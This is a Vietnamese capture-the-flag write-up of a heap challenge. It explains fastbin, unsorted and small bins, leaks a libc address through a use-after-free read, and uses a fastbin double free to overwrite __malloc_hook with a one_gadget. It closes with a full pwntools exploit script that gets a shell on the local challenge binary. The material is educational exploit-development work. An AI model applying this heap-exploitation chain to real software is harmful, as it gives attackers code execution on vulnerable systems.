Page cover

😞Heap 2

Double Free

Challenge

Overview

createHeap()

showHeap()

editHeap()

deleteHeap()

Phân tích

Do chương trình không có bất kì hàm nào để đọc được flag nên tôi nghĩ sẽ sử dụng các gadget để rce nó. Nhưng mà PIE đã được bật. Vậy ta cần bypass PIE bằng cách leak địa chỉ nào đó hoặc leak địa chỉ libc.

Nhưng hãy ôn lại 1 chút kiến thức trước khi làm:

  • Bạn thường thấy các chunks sau khi được free sẽ được đẩy vào fastbins? Ví dụ như

Fastbins sẽ xóa 8 bytes bộ nhớ đầu tiên và giữ lại 8 bytes đằng sau. Nó không lưu các giá trị con trỏ mà bạn hay thấy ở bài trước
  • Vậy khi nào nó không được đẩy vào fastbins? ==> Khi mà nó vượt qua kích thước tối đa của fastbins (default): 128 bytes == 0x80 bytes. Unsorted bin là một danh sách liên kết kép lưu trữ các chunks chưa được sắp xếp và có kích thước từ 0x80 đến 0x3fff bytes. Sau khi được sắp xếp thì chúng sẽ được đổi sang Large bins. Nếu không thì Unsorted bins sẽ được dùng để cấp phát cho các malloc mới.

  • Fastbins: là 1 danh sách có kiểu dữ liệu stack --> đó là lý do nó không chứa địa chỉ sau khi giải phóng.

  • Unsorted bins là 1 danh sách có kiểu dữ liệu là double linked list (tức là bao gồm 2 node và 1 data)

  • Small bins là 1 danh sách có kiểu dữ liệu là double linked list (tức là bao gồm 2 node và 1 data). Chứa các chunk được free có kích thước từ 0x20 --> 0x80

  • allocator luôn ưu tiên fastbins. Các chunks sau khi được free sẽ được đưa vào fastbins trước thay vì small bins.

Ảnh minh họa về 2 chunk đó

Quay lại với vấn đề chính. Tôi khai thác từ đề bài thì có 1 hàm show ra dữ liệu của chunk ngay cả khi nó đã được free (chỉ là không biết show ra gì thôi :>>) . Hãy nhìn lại bức ảnh này

Vì nó không bắt đầu bắt bytes null nên sẽ data của chunk sẽ được đọc ra màn hình. Nếu bắt đầu bằng bytes null thì sẽ bị ngắt bởi printf.

Ta có 1 địa chỉ trong phần data của Unsorted bins. Bây giờ tôi sẽ sử dụng script sau đây để hiển thị ra nó:

createHeap(0, 0x80, b"A" * 0x80)
createHeap(1, 0x20, b"B" * 0x20)
deleteHeap(0)
showHeap(0)

Và tôi thấy nó thuộc vùng nhớ của libc:

Đây là địa chỉ ở 1 lần chạy khác nhé. Chú ý offset là được

Một chút kiến thức mới ở đây:

__malloc_hook là một tính năng trong C. The Offical GNU site định nghĩa __malloc_hook như sau:

Giá trị của biến này là một con trỏ đến hàm mà malloc sử dụng bất cứ khi nào nó được gọi

Tóm lại, khi gọi malloc() --> con trỏ function __malloc_hook cũng được gọi --> có thể overwrite vào địa chỉ của __malloc_hook. Giả sử một one_gadget và bằng cách nào đó kích hoạt một cuộc gọi đếnmalloc(), chúng ta có thể có được một shell dễ dàng.

Oki vậy tôi sẽ lấy ra địa chỉ được leak và địa chỉ __malloc_hook luôn.

OKE

Vậy làm sao để có thể dùng địa chỉ này?

Thì tiếp theo tôi sẽ sử dụng lỗi double free để khai thác tiếp.

createHeap(2, 0x40, b"a"*8)
createHeap(3, 0x40, b"b"*8)
deleteHeap(2)
deleteHeap(3)  #Phải free 3 trước bởi vì ta không thể free 2 lần liên tiếp nhau.
deleteHeap(2)

Sau khi malloc thì Unsorted bins được chuyển xuống dưới. Tức là nó dành ra 0x60 bytes cho con trỏ vừa được cấp phát. Và còn lại 0x20 bytes như ảnh bên dưới, phần data cũng bị thay đổi luôn.

Ảnh minh họa
Sau khi free dòng 4
Sau khi free ở dòng 5

Oke, vậy ta đã free chunk 2 lần.

Tiếp sau đó, tôi cấp phát 1 chunk để xuất hiện malloc_hook trong fastbin để sau này chúng ta ghi đè:

createHeap(2, 0x40, p64(malloc_hook) - 35)
địa chỉ tôi bôi đen đó là phần data tôi đã ghi vào

Xem đoạn data mà tôi đã write vào chunk:

Tôi sẽ thử gửi payload:

createHeap(4, 0x60, p64(malloc_hook))
createHeap(5, 0x60, b"K"*8)
createHeap(6, 0x60, b"N"*8)
payload = b"Kinabler"
createHeap(7, 0x60, payload)

Nguyên do là trong cái chunk này không chứa size.

Dẫn đến lỗi xảy ra. Còn đối với địa chỉ malloc_hook - 35

Ta có size = 0x7f < 0x80 nên nó sẽ thỏa mãn điều kiện của fastbins và không gây ra lỗi như phía trên

Nhưng bây giờ fastbins còn chứa 2 chunk đang được free. Bởi vậy tôi sẽ malloc lại 2 lần nữa để nó trỏ đến phần data mà tôi muốn ghi đè.

Vậy ta còn 1 bins duy nhất ở fastbins. Lần này ta sẽ cấp phát 1 lần nữa kèm data của one_gadget để nó được ghi đè vào malloc_hook.

payload = p64(ogadget3)
createHeap(7, 0x50, payload)

Nhưng sau đó tôi đã gặp lỗi như này:

Lỗi liên quan đến bộ nhớ

Tôi đoán là do size mà tôi đã cấp phát cho từng chunks vậy nên tôi sẽ chỉnh 1 xíu để sửa lỗi này.

payload = p64(ogadget3)
createHeap(7, 0x60, payload)
Ta cần padding 19 bytes trước khi ghi đè đến __malloc_hook
payload = b"@" * 19 + p64(ogadget3) # Tôi chọn one-gadget3 vì stack thường ổn định hơn thanh ghi
createHeap(7, 0x60, payload)

Khi này, nếu bạn double free 2 lần liên tiếp nữa thì bạn sẽ gặp phải các lỗi như "double free", "heap corruption" hoặc "use after free", thì __malloc_hook có thể được gọi để xử lý các vấn đề đó. Vì vậy khi malloc hook được gọi, địa chỉ mà tôi ghi đè cũng được gọi và ta lấy được shell.

Cuối cùng, đây là tất cả payload của tôi.

from pwn import *
elf = context.binary = ELF("./pwn2_df_patched")
libc = elf.libc
r = elf.process()

gdb.attach(r, '''
    b*createHeap+115\n
    b*deleteHeap+123\n
    b*editHeap+150\n
    b*showHeap+128\n
    c
''')

context.log_level       = "DEBUG"
context.arch            = "amd64"

def createHeap(index,size,payload:bytes):
    r.sendlineafter(b">\n", str(1).encode())
    r.sendlineafter(b"Index:", str(index).encode())
    r.sendlineafter(b"Input size:", str(size).encode())
    r.sendlineafter(b"Input data:", payload)
    
def deleteHeap(index):
    r.sendlineafter(b">\n", str(4).encode())
    r.sendlineafter(b"Input index:", str(index).encode())
    
def editHeap(index, payload:bytes):
    r.sendlineafter(b">\n", str(3).encode())
    r.sendlineafter(b"Input index:", str(index).encode())
    r.sendline(payload)

def showHeap(index):
    r.sendlineafter(b">\n", str(2).encode())
    r.sendlineafter(b"Index:",str(index).encode())

createHeap(0, 0x80, b"A" * 0x80)
createHeap(1, 0x20, b"B" * 0x20)
deleteHeap(0)
showHeap(0)

r.recvuntil(b"Data = ")
libc.address = u64(r.recv(6).ljust(8,b"\0")) - 0x39bb78
log.success(f"LIBC BASE: {hex(libc.address)}")
malloc_hook = libc.address + 0x39bb10
log.success(f"Malloc Hook: {hex(malloc_hook)}")

ogadget1 = 0x3f3d6 + libc.address
ogadget2 = 0x3f42a + libc.address
ogadget3 = 0xd5bf7 + libc.address

createHeap(2, 0x60, b"a"*7)
createHeap(3, 0x60, b"b"*7)
deleteHeap(2)
deleteHeap(3)
deleteHeap(2)

createHeap(4, 0x60, p64(malloc_hook- 35))
createHeap(5, 0x60, b"K"*8)
createHeap(6, 0x60, b"N"*8)

payload = b"@" * 19 + p64(ogadget3)
createHeap(7, 0x60, payload)

deleteHeap(6)
deleteHeap(6)
r.interactive()
Oke

Tổng kết

Qua bài này, tôi nghĩ bạn sẽ hiểu hơn về cách tận dụng lỗi Double Free + __Malloc_hook() + one_gadget để khai thác cũng như ghi đè lên các địa chỉ mong muốn nhằm mục đích khai thác HEAP.

Và một vài kiến thức về fastbins, small binsunsorted bins.

pwndbg

  1. Cách tìm các hàm như __malloc_hook:

Và dữ liệu trong địa chỉ của __malloc_hook sẽ là hàm malloc_hook_init. Hàm malloc_hook_init được gọi khi chương trình bắt đầu chạy và nó có tác dụng khởi tạo bộ hook để theo dõi các lời gọi hàm malloc. Khi chương trình thực hiện lời gọi hàm malloc, các bộ hook này sẽ được kích hoạt và cho phép chương trình can thiệp vào quá trình cấp phát bộ nhớ động.

  1. Lỗi malloc(): memory corruption (fast)

Đoạn code này sẽ kiểm tra Fastbins xem có thỏa mãn hay không

#define REMOVE_FB(fb, victim, pp)			\
  do							\
    {							\
      victim = pp;					\
      if (victim == NULL)				\
	break;						\
    }							\
  while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \
	 != victim);					\

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp;
      victim = *fb;

      if (victim != NULL)
	{
	  if (SINGLE_THREAD_P)
	    *fb = victim->fd;
	  else
	    REMOVE_FB (fb, pp, victim);
	  if (__glibc_likely (victim != NULL))
	    {
	      size_t victim_idx = fastbin_index (chunksize (victim));
	      if (__builtin_expect (victim_idx != idx, 0))
		malloc_printerr ("malloc(): memory corruption (fast)");
	      check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
	      /* While we're here, if we see other chunks of the same size,
		 stash them in the tcache.  */
	      size_t tc_idx = csize2tidx (nb);
	      if (tcache && tc_idx < mp_.tcache_bins)
		{
		  mchunkptr tc_victim;

		  /* While bin not empty and tcache not full, copy chunks.  */
		  while (tcache->counts[tc_idx] < mp_.tcache_count
			 && (tc_victim = *fb) != NULL)
		    {
		      if (SINGLE_THREAD_P)
			*fb = tc_victim->fd;
		      else
			{
			  REMOVE_FB (fb, pp, tc_victim);
			  if (__glibc_unlikely (tc_victim == NULL))
			    break;
			}
		      tcache_put (tc_victim, tc_idx);
		    }
		}
#endif
	      void *p = chunk2mem (victim);
	      alloc_perturb (p, bytes);
	      return p;
	    }
	}
    }
và mấu chốt vấn đề ở đây: Nếu size == \0 --> Chương trình sẽ in ra lỗi như bạn có thể thấy.

Oke, Hiểu sương sương có vậy, Nhớ được tất cả chúng thì quả là 1 điều tuyệt vời rồi.

Last updated